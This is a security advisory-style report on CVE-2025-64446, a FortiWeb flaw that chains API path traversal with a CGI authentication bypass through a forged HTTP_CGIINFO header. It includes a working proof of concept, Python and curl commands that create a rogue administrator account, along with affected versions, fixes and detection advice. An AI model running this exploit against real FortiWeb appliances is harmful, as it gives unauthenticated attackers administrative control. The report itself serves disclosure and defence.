Security Report - FortiWeb Unauthenticated RCE via Path Traversal and CGI Auth Bypass CVE-2025-64446
Fortinet assigned FG-IR-25-910 / CVE-2025-64446 to this issue on 14 Nov 2025, rating it Critical (CVSS 9.1) and confirming exploitation in the wild. The official advisory describes it as a “path confusion” (relative path traversal) in the FortiWeb GUI that lets an unauthenticated attacker execute administrative commands via crafted HTTP(S) requests. The mechanics match our findings: a traversal under /api/v2.0/… reaches /migadmin/cgi-bin/fwbcgi, and cgi_auth() blindly trusts the attacker-supplied HTTP_CGIINFO header to impersonate any administrator.
- Path traversal in Apache routing –
httpd.confregisters<Location /api/v2.0/> SetHandler fwbcgi-handler. Apache matches the prefix before decoding%3for collapsing/../, so/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgiis forwarded straight to fwbcgi. cgi_auth()trusts client-supplied identity – Inside/migadmin/cgi-bin/fwbcgi(cgi_authat0x0005baf0) the CGI readsHTTP_CGIINFO, base64-decodes it, parses the JSON, and copiesusername,profname,vdom, andloginnameinto the login context withset_login_context_vsa(). There is no signature, password, or session lookup—the CGI runs whatever privileges the JSON claims. Combining the two bugs gives an unauthenticated RCE across all API actions handled by fwbcgi.
No patch is available in-repo. Fortinet silently fixed the issue in FortiWeb 7.6.5 / 8.0.2 by rejecting traversal sequences under /api/* and hardening cgi_auth() to validate the impersonation header. Track upstream advisories for the official fix diff once Fortinet publishes it.
- IR / CVE: FG-IR-25-910 / CVE-2025-64446
- Published: 14 Nov 2025 (Fortinet PSIRT)
- Severity: Critical (CVSS 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C)
- Affected branches (per advisory):
- FortiWeb 8.0.0–8.0.1 (fixed in 8.0.2)
- FortiWeb 7.6.0–7.6.4 (fixed in 7.6.5)
- FortiWeb 7.4.0–7.4.9 (fixed in 7.4.10)
- FortiWeb 7.2.0–7.2.11 (fixed in 7.2.12)
- FortiWeb 7.0.0–7.0.11 (fixed in 7.0.12)
- Exploit status: Observed in the wild (per PSIRT).
- Craft the impersonation header:
CGIINFO=$(python3 - <<'PY' import base64, json payload = {"username":"admin","profname":"prof_admin","vdom":"root","loginname":"admin"} print(base64.b64encode(json.dumps(payload).encode()).decode()) PY )
- Post a JSON payload via the traversal path (note the
--path-as-isso curl doesn’t normalize%3f/../..):curl --path-as-is -sk \ -H "CGIINFO: $CGIINFO" \ -H 'Content-Type: application/json' \ --data '{"data":{"q_type":1,"name":"watchtowr","access-profile":"prof_admin","password":"watchtowr"}}' \ 'https://<target>/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi'
- The appliance responds
HTTP/1.1 200 OKwith the new admin user’s JSON, proving unauthenticated control.
- Upgrade – Follow Fortinet’s guidance and move to the fixed releases listed above (e.g., 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12). Treat this as urgent due to confirmed exploitation.
- Canonicalize API paths before dispatch – Apache (or any reverse proxy) should URL-decode and resolve
..segments before<Location>matching; reject encoded delimiters or upward traversal. - Authenticate
cgi_auth()properly – Require a signed/session-derived token rather than trusting arbitrary JSON inHTTP_CGIINFO. - Network hardening / workaround – PSIRT advises disabling HTTP/HTTPS on internet-facing interfaces until patched; ensure GUI access is limited to internal networks.
- Monitor and investigate – Hunt for requests containing
%3f/../under/api/or unexpectedHTTP_CGIINFOheaders, and review configurations for unauthorized admin accounts as Fortinet recommends post-upgrade.